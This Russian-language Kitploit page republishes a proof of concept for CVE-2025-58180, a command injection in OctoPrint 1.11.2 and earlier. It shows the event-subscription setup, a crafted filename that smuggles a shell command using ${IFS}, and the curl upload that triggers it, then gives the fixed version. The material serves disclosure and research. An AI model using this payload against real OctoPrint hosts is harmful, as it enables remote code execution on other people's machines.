Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-58180 — В OctoPrint версии <=1.11.2 злоумышленник с доступом к загрузке файлов (например, действительный API-ключ или сессия) может создать вредоносное имя файла, которое обходит санитизацию и впоследствии выполняется системой событий OctoPrint, что приводит к удалённому выполнению кода (RCE) на хосте. | Kitploit
Инструменты/GitHubGitHub/prabhatverma47/cve-2025-58180
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и Управление
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

Репозиторий
1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

В OctoPrint версии <=1.11.2 злоумышленник с доступом к загрузке файлов (например, действительный API-ключ или сессия) может создать вредоносное имя файла, которое обходит санитизацию и впоследствии выполняется системой событий OctoPrint, что приводит к удалённому выполнению кода (RCE) на хосте.

Поделиться

CVE-2025-58180 удалённое выполнение кода в OctoPrint через несанитизированное имя файла при загрузке файла

В OctoPrint версии <=1.11.2 злоумышленник с доступом к загрузке файлов (например, действительный API-ключ или сессия) может создать вредоносное имя файла, которое обходит санитизацию и впоследствии выполняется событийной системой OctoPrint, что приводит к удалённому выполнению кода (RCE) на хосте.


PoC: Шаги для воспроизведения уязвимости

Шаг 1: Информация о версии

Загружена последняя стабильная версия: OctoPrint 1.11.2

image

Шаг 2: Запуск OctoPrint

root@kitploit:~
octoprint serve --port 5000 --debug
  • Откройте http://127.0.0.1:5000 в браузере.
  • Пройдите начальный мастер → создайте пользователя с настройками по умолчанию (отключено: подключение, анонимный доступ, плагины).
  • Скопируйте API-ключ из Настройки → API → сохраните для дальнейшего использования. image
  • Остановите службу OctoPrint после выполнения указанных выше действий.


    Шаг 3: Настройка подписки на события

    Следуя документации по событиям OctoPrint:

    Отредактируйте ~/.octoprint/config.yaml:

    root@kitploit:~
    events:
      enabled: true
      subscriptions:
        - event: FileAdded
          type: system
          debug: true
          command: "{path}"
    
    image

    Шаг 4: Создание образца G-code

    Создайте /tmp/gcode/ok.gcode:

    root@kitploit:~
    ; minimal gcode
    G28
    M105
    

    Перезапустите службу OctoPrint.


    Шаг 5: Доказательство концепции RCE

    1. Экспортируйте API-ключ:
    root@kitploit:~
    export API_KEY='<key previously gathered from webUI>'
    
    1. Убедитесь, что файл не существует:
    root@kitploit:~
    ls -la /tmp/test123
    
    1. Сформируйте полезную нагрузку с вредоносным именем файла:
      INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

    Пояснение: ${IFS} — это внутренний разделитель полей оболочки (обычно пробел). Он обходит санитизацию при внедрении.

    1. Отправьте curl-запрос:
    root@kitploit:~
    curl -sS -X POST -H "X-Api-Key: $API_KEY" \
      -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
      "http://127.0.0.1:5000/api/files/local"
    
    1. Проверьте выполнение:
    root@kitploit:~
    ls -la /tmp/test123
    
    image

    Если /tmp/test123 существует, внедрённая команда выполнилась успешно → RCE подтверждено.


    Объяснение хода выполнения

    root@kitploit:~
    [User upload with crafted filename]
            │
            ▼
    server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
            │
            ▼
    events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
            │
            ▼
    system command subscriber → subprocess.check_call(..., shell=True)
            │
            ▼
    [Injected shell metacharacters execute as OS commands]
    

    Резюме

    При загрузке файла:

    1. OctoPrint принимает имя файла (с ограниченной санитизацией).
    2. Инициируется событие FileAdded.
    3. Если на это событие подписаны системные команды, исходное имя файла (включая ;, ${IFS} и т. д.) передаётся в оболочку.
    4. Это позволяет внедрённым в имя файла командам выполниться на хосте.

    Результат: удалённое выполнение кода (RCE) на хостовой системе.

    Ссылки

    • Назначен CVE:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
    • Исправленная версия: 1.11.3

    Скачать инструмент